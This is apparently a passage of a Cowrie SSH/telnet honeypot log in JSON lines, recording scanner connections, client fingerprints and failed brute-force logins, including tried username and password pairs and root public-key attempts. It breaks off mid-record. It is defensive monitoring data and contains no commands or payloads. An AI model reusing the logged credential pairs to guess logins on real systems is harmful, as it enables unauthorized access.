{"eventid":"cowrie.login.failed","username":"devops","password":"devops2023","message":"login attempt [devops/devops2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:07:22.945286Z","src_ip":"36.93.249.106","session":"cbe9c952bd99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:07:24.221182Z","src_ip":"36.93.249.106","session":"cbe9c952bd99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.255.100.242","src_port":33166,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c312b9de9c2","protocol":"ssh","message":"New connection: 185.255.100.242:33166 (10.17.0.5:22) [session: 8c312b9de9c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:07:51.460732Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:07:51.465223Z","src_ip":"185.255.100.242","session":"8c312b9de9c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:07:51.474942Z","src_ip":"185.255.100.242","session":"8c312b9de9c2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"80:1e:05:d9:52:4c:fc:ea:ea:7d:b5:54:48:d9:a4:12","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8tFWY1GSDWQXJfSParh0ft58j0LDoOBZx1HjAgM9Q3OFeBt9zs3rfKmDt3e3G6nILoTFpLdXhH1ERDZxOkyozXb76tew7yJBb8ZLBeZh1RSPjPkyopYSB4Sw0PZZ40MnlFGXj/EYJ9E9zjZcc+o9HK3MbbU0txc2Pdqyo7CR/JEuaXpGlbvQ/HgnIel6hfJ7V0DgZiD7D23yXUBeOPdb/dhbR214C2CfNux9WpDHIjFNKVnyW/Ox9ryRmChKqGfV5wQOoDHWbCBqwXGHv2rWxc/8G+SltdgxEnUiSE2Q+uO/dcL8VjGN0GcEodHXS/eAXNzir3O2IfuaVINfnmc0n","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 80:1e:05:d9:52:4c:fc:ea:ea:7d:b5:54:48:d9:a4:12","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:07:51.495214Z","src_ip":"185.255.100.242","session":"8c312b9de9c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"80:1e:05:d9:52:4c:fc:ea:ea:7d:b5:54:48:d9:a4:12","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8tFWY1GSDWQXJfSParh0ft58j0LDoOBZx1HjAgM9Q3OFeBt9zs3rfKmDt3e3G6nILoTFpLdXhH1ERDZxOkyozXb76tew7yJBb8ZLBeZh1RSPjPkyopYSB4Sw0PZZ40MnlFGXj/EYJ9E9zjZcc+o9HK3MbbU0txc2Pdqyo7CR/JEuaXpGlbvQ/HgnIel6hfJ7V0DgZiD7D23yXUBeOPdb/dhbR214C2CfNux9WpDHIjFNKVnyW/Ox9ryRmChKqGfV5wQOoDHWbCBqwXGHv2rWxc/8G+SltdgxEnUiSE2Q+uO/dcL8VjGN0GcEodHXS/eAXNzir3O2IfuaVINfnmc0n","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:07:51.498616Z","src_ip":"185.255.100.242","session":"8c312b9de9c2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"40:e6:56:56:87:07:62:a7:de:4e:92:5a:3c:69:e2:1a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9meTdUqZbLqit/eaU6WkgvmSnicIUC3PQhRw90tDQjeDUMxj0sj7PB241B7eofgiCa6RVc3s7Ms65UiKsNMq3g/9k6EGw9ylLgj2Y1IEEO78IygTBvcd9DKcwmf6NKL3lBMb4F/198kR3GCewoBcmklj0ndZuQPONgbFA4BDHPnVQ0Z/1PF4rMdhHalLj+JUkmOgZ6+6flIOnQwEW7fbOqi0QAgSrZIIEBPxohPz+NS1vOC70dX6KaDY6ZTdrktcxCQGJZ0ESfcRN6Ck3KFnGsZZa6/0ea37e8+jXrIUYpPBubVk1UD5ngdvRja++d5K68LZgy7JpFAZY5sjaMj7H","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 40:e6:56:56:87:07:62:a7:de:4e:92:5a:3c:69:e2:1a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:07:51.506334Z","src_ip":"185.255.100.242","session":"8c312b9de9c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"40:e6:56:56:87:07:62:a7:de:4e:92:5a:3c:69:e2:1a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9meTdUqZbLqit/eaU6WkgvmSnicIUC3PQhRw90tDQjeDUMxj0sj7PB241B7eofgiCa6RVc3s7Ms65UiKsNMq3g/9k6EGw9ylLgj2Y1IEEO78IygTBvcd9DKcwmf6NKL3lBMb4F/198kR3GCewoBcmklj0ndZuQPONgbFA4BDHPnVQ0Z/1PF4rMdhHalLj+JUkmOgZ6+6flIOnQwEW7fbOqi0QAgSrZIIEBPxohPz+NS1vOC70dX6KaDY6ZTdrktcxCQGJZ0ESfcRN6Ck3KFnGsZZa6/0ea37e8+jXrIUYpPBubVk1UD5ngdvRja++d5K68LZgy7JpFAZY5sjaMj7H","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:07:51.509887Z","src_ip":"185.255.100.242","session":"8c312b9de9c2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"68:b7:27:9e:51:dc:62:b2:7d:ae:80:0d:5f:bf:39:9c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDSzHfgjADxhkorswZ8zN9NldZKw7NRgJFcz0x9KBTR6ajagQPUUyP62v0G3g/uq/B1gHykMhAYc8jtOTqgNMgv27MWYeNMVdngIED+BuxhPYN1jplkLjoYGRDDP/KLuVCbtGTDy8Yb6wWWWlU7AuPOlnRPTzBy9Ipwi2tzJvtDSF0uuUtaeCnezRVMaauVVitOe1iq1MXM/o6Y9qn/s0ywXsoYjiw7XpBZF78GyQwP/SrQ+DXT2iq6jDCMz1TOngWrDDdghQrHvtWaH0oWbIZC1cBzc9Nt4fdL0xlhM87IrhJsStRNgrtFTKqtsHJ9noQ5o2wfR1ZxZexad6QgI0U3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 68:b7:27:9e:51:dc:62:b2:7d:ae:80:0d:5f:bf:39:9c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:07:51.518367Z","src_ip":"185.255.100.242","session":"8c312b9de9c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"68:b7:27:9e:51:dc:62:b2:7d:ae:80:0d:5f:bf:39:9c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDSzHfgjADxhkorswZ8zN9NldZKw7NRgJFcz0x9KBTR6ajagQPUUyP62v0G3g/uq/B1gHykMhAYc8jtOTqgNMgv27MWYeNMVdngIED+BuxhPYN1jplkLjoYGRDDP/KLuVCbtGTDy8Yb6wWWWlU7AuPOlnRPTzBy9Ipwi2tzJvtDSF0uuUtaeCnezRVMaauVVitOe1iq1MXM/o6Y9qn/s0ywXsoYjiw7XpBZF78GyQwP/SrQ+DXT2iq6jDCMz1TOngWrDDdghQrHvtWaH0oWbIZC1cBzc9Nt4fdL0xlhM87IrhJsStRNgrtFTKqtsHJ9noQ5o2wfR1ZxZexad6QgI0U3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:07:51.521868Z","src_ip":"185.255.100.242","session":"8c312b9de9c2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"03:39:c6:80:ee:1e:45:ae:df:d7:05:32:66:eb:c6:71","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEgqKYXBbzPMUY9vMwjVRPFUPIMYfWVPhzaGhmvs5WPnTsmagJvuUjqLaV1gH2beXodXasVujmjpCx5/zs5RpQVu9/dg6Z0AteTIScA6uKE5cJ6iWSTx1JtAva/MatW3+PM2eDJXaENTPqImJrsqQM93nWppzdlNv0c6jvhsEbMjXg2twfQG5SiPcXGNHUs69ZFgTlK05R7WHI+q4lRlpIQIOHwv54vM4SHV8mCIPaiCcibDGU/6I79q8JOSYnNrItIgAhOMF0F/VvbSJCopib1nFLgxEjAKCDUeqKZKIictQtVzTTcFQubvKZZvLjh6mBkxfYolHwKkrU1XYA1+7b","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 03:39:c6:80:ee:1e:45:ae:df:d7:05:32:66:eb:c6:71","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:07:51.529324Z","src_ip":"185.255.100.242","session":"8c312b9de9c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"03:39:c6:80:ee:1e:45:ae:df:d7:05:32:66:eb:c6:71","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEgqKYXBbzPMUY9vMwjVRPFUPIMYfWVPhzaGhmvs5WPnTsmagJvuUjqLaV1gH2beXodXasVujmjpCx5/zs5RpQVu9/dg6Z0AteTIScA6uKE5cJ6iWSTx1JtAva/MatW3+PM2eDJXaENTPqImJrsqQM93nWppzdlNv0c6jvhsEbMjXg2twfQG5SiPcXGNHUs69ZFgTlK05R7WHI+q4lRlpIQIOHwv54vM4SHV8mCIPaiCcibDGU/6I79q8JOSYnNrItIgAhOMF0F/VvbSJCopib1nFLgxEjAKCDUeqKZKIictQtVzTTcFQubvKZZvLjh6mBkxfYolHwKkrU1XYA1+7b","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:07:51.532697Z","src_ip":"185.255.100.242","session":"8c312b9de9c2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ec:eb:b1:4d:66:9e:a9:94:29:f4:ac:d6:64:4f:91:0b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3yAEj58Rbd7Mm/zOM9Fut3qvn//geu3Klf7dS2VYbXsg5BW1qOsXnTRfqscf5D1eakFgx8cQWkzGe4CwukWwAdJFtQHuOaNIkfoxgYhwUa6Gr1iS1MWDA0zSgd+eKuDKJr7blHZAcdnkYxU3lAZlWh8OuTPOoFyGB5NLBwbhmtmA5P/jV5BGPaOn6pVZlzxpp5bf8/IlrGC5nAAYHQCYVjUkA64f9JkkPe9SqoYDYBX9HUOc5/22+IGsUSJ+f0TPGS5ziROvpuzQeHGXLsygVvMjzfXECW3Aq7sh9DVC/zkhpiZr50/K7fdx7EoeXt2nxT0jmdxvl2tRxHMeXBZqTw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ec:eb:b1:4d:66:9e:a9:94:29:f4:ac:d6:64:4f:91:0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:07:51.543038Z","src_ip":"185.255.100.242","session":"8c312b9de9c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ec:eb:b1:4d:66:9e:a9:94:29:f4:ac:d6:64:4f:91:0b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3yAEj58Rbd7Mm/zOM9Fut3qvn//geu3Klf7dS2VYbXsg5BW1qOsXnTRfqscf5D1eakFgx8cQWkzGe4CwukWwAdJFtQHuOaNIkfoxgYhwUa6Gr1iS1MWDA0zSgd+eKuDKJr7blHZAcdnkYxU3lAZlWh8OuTPOoFyGB5NLBwbhmtmA5P/jV5BGPaOn6pVZlzxpp5bf8/IlrGC5nAAYHQCYVjUkA64f9JkkPe9SqoYDYBX9HUOc5/22+IGsUSJ+f0TPGS5ziROvpuzQeHGXLsygVvMjzfXECW3Aq7sh9DVC/zkhpiZr50/K7fdx7EoeXt2nxT0jmdxvl2tRxHMeXBZqTw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:07:51.547042Z","src_ip":"185.255.100.242","session":"8c312b9de9c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:07:51.555957Z","src_ip":"185.255.100.242","session":"8c312b9de9c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":40380,"dst_ip":"159.203.135.109","dst_port":23,"session":"133603a9b589","protocol":"telnet","message":"New connection: 135.148.33.91:40380 (159.203.135.109:23) [session: 133603a9b589]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:07:52.702846Z"}
{"eventid":"cowrie.session.connect","src_ip":"163.179.13.89","src_port":59721,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a451951273f","protocol":"telnet","message":"New connection: 163.179.13.89:59721 (159.203.135.109:23) [session: 4a451951273f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:08:05.256684Z"}
{"eventid":"cowrie.session.connect","src_ip":"120.48.135.189","src_port":53374,"dst_ip":"10.17.0.5","dst_port":22,"session":"a5b0203b129c","protocol":"ssh","message":"New connection: 120.48.135.189:53374 (10.17.0.5:22) [session: a5b0203b129c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:08:08.946495Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:08:08.951289Z","src_ip":"120.48.135.189","session":"a5b0203b129c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:08:10.053116Z","src_ip":"120.48.135.189","session":"a5b0203b129c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.93.249.106","src_port":42258,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ed2f3bbea10","protocol":"ssh","message":"New connection: 36.93.249.106:42258 (159.203.135.109:22) [session: 4ed2f3bbea10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:08:16.211081Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:08:16.218182Z","src_ip":"36.93.249.106","session":"4ed2f3bbea10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:08:16.490704Z","src_ip":"36.93.249.106","session":"4ed2f3bbea10","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3bot","password":"1234","message":"login attempt [ts3bot/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:08:17.603734Z","src_ip":"36.93.249.106","session":"4ed2f3bbea10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:08:18.877612Z","src_ip":"36.93.249.106","session":"4ed2f3bbea10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.66913962364197,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:08:25.371861Z","src_ip":"135.148.33.91","session":"133603a9b589","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.9.193.111","src_port":44381,"dst_ip":"159.203.135.109","dst_port":22,"session":"622fa84aea11","protocol":"ssh","message":"New connection: 185.9.193.111:44381 (159.203.135.109:22) [session: 622fa84aea11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:08:33.539611Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:08:33.546968Z","src_ip":"185.9.193.111","session":"622fa84aea11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:08:34.267115Z","src_ip":"185.9.193.111","session":"622fa84aea11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.186.79.173","src_port":40758,"dst_ip":"10.17.0.5","dst_port":22,"session":"23bfba0e5e0d","protocol":"ssh","message":"New connection: 211.186.79.173:40758 (10.17.0.5:22) [session: 23bfba0e5e0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:08:35.616818Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:08:35.621126Z","src_ip":"211.186.79.173","session":"23bfba0e5e0d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 